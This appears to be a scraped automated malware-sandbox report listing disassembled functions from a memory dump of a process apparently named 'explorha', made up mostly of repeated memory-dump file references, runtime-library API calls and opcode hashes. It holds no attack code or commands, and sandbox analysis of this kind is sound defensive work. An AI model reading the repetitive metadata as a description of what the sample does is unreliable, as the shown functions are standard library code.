Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: ecc50b33ca09ce5d2ceecf05109b633d67a4346ded0d7c5a2cbf2dc3897896ce
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: 9F1191F1100105ABCB51DE69C999E6A7BECDF11B24B18C1E9EC018F293DB71EF018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00AEE6BE Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00AEE73A

Strings

SleepConditionVariableCS, xrefs: 00AEE6F2
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00AEE6D0
WakeAllConditionVariable, xrefs: 00AEE6FE
kernel32.dll, xrefs: 00AEE6E1

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: a54136a4b340945b2cd07660a50939bd67bcc55b7336df71b3d85afb4e83ac69
Instruction ID: 61013b69c408915384e3251f0051c8f53a6b55cfaab48aae48bb1363a104a050
Opcode Fuzzy Hash: a54136a4b340945b2cd07660a50939bd67bcc55b7336df71b3d85afb4e83ac69
Instruction Fuzzy Hash: A00167E1BC6B6529B6317B7E2C52E6B26C84F53B58F251E50B804E7290DDD4DD008562

Uniqueness

Uniqueness Score: -1.00%

Function 00B16234 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B162B8
__alloca_probe_16.LIBCMT ref: 00B1637E
__freea.LIBCMT ref: 00B163EA

Part of subcall function 00B0C66B: RtlAllocateHeap.NTDLL(00000000,48F964E0,?,?,00AEEA91,48F964E0,?,00AE911B,?,?,?,?,?,?,00AD6FE5,?), ref: 00B0C69E

__freea.LIBCMT ref: 00B163F3
__freea.LIBCMT ref: 00B16416

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 10618ab45ee1690c6626113e4f0db2ee8098e9f73735f0a7ab449bb20a20b4cc
Instruction ID: d34d2cf00c6326924f5980e8f824ac936c16e6b73d69299d7a0a047e78acb42e
Opcode Fuzzy Hash: 10618ab45ee1690c6626113e4f0db2ee8098e9f73735f0a7ab449bb20a20b4cc
Instruction Fuzzy Hash: 7C51C072500216AFEB209FA8AC81EEF3BE9EB44750F6541B9FC14E7141EB30DC8096A4

Uniqueness

Uniqueness Score: -1.00%

Function 00AFFF6D Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00AFFFAE
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00AFFFB6
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00AFFFE0
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00AFFFE9
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00B0006C

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 429d52a00ec441254859d375e295d448c4dc9f081ed56b527c8270153fe68096
Instruction ID: 1936a8e12a97bf9e03fb38be4770a6fc702f33b15675cda85069b15dfc43afed
Opcode Fuzzy Hash: 429d52a00ec441254859d375e295d448c4dc9f081ed56b527c8270153fe68096
Instruction Fuzzy Hash: 40414F75A00619EFCB09EFA8C554A6DBBB5FF88310F108169E9069B390DB74AE01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AF0376 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AF037D
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00AF03A7

Part of subcall function 00AF0A6D: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00AF0A8A

__alloca_probe_16.LIBCMT ref: 00AF03E3
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00AF0424
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00AF0456

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
